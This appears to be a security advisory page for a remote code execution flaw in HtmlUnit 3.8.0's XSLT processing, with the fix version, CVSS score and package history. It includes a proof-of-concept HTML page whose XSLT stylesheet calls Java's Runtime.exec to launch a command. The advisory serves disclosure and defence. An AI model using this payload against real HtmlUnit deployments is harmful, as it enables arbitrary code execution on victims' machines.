HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL
Summary
HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage
Details
Vulnerability code location: org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)
The reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor
PoC
pom.xml:
<dependency>
<groupId>org.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>3.8.0</version>
</dependency>
code:
WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);
HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html");
System.out.println(page.asNormalizedText());
test.html:
<script>
var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0");
var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0");
var xslProc;
xslDoc.async = false;
xslDoc.loadXML(`<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'open -a Calculator')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<span><xsl:value-of select="$processString"/></span>
</xsl:template>
</xsl:stylesheet>`)
if (xslDoc.parseError.errorCode != 0) {
var myErr = xslDoc.parseError;
document.write("ParseError: "+myErr.reason);
} else {
xslt.stylesheet = xslDoc;
var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
xmlDoc.async = false;
xmlDoc.loadXML("<s></s>");
if (xmlDoc.parseError.errorCode != 0) {
var myErr = xmlDoc.parseError;
document.write("Document error: " + myErr.reason);
} else {
xslProc = xslt.createProcessor();
xslProc.input = xmlDoc;
xslProc.transform();
document.write(xslProc.output);
}
}
</script>
Impact
Remote Code Execution
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Java / Kotlin (Maven) | org.htmlunit:htmlunit | < 3.9.0 | 3.9.0 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-94- Platform
- Java / Kotlin (Maven)
- Package
org.htmlunit:htmlunit- Disclosed
- 04.12.2023
- Updated
- 11.10.2026 13:20
Sources and licenses
OSV / GitHub Advisory Database - GHSA-37vq-hr2f-g7h7 - CC BY 4.0
Vulnerability history: org.htmlunit:htmlunit
All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 05.2023 12.2023
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 1
Disclosures per year
- 2023: 2
- 2024: 0
- 2025: 0
- 2026: 0
-
HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL this entry
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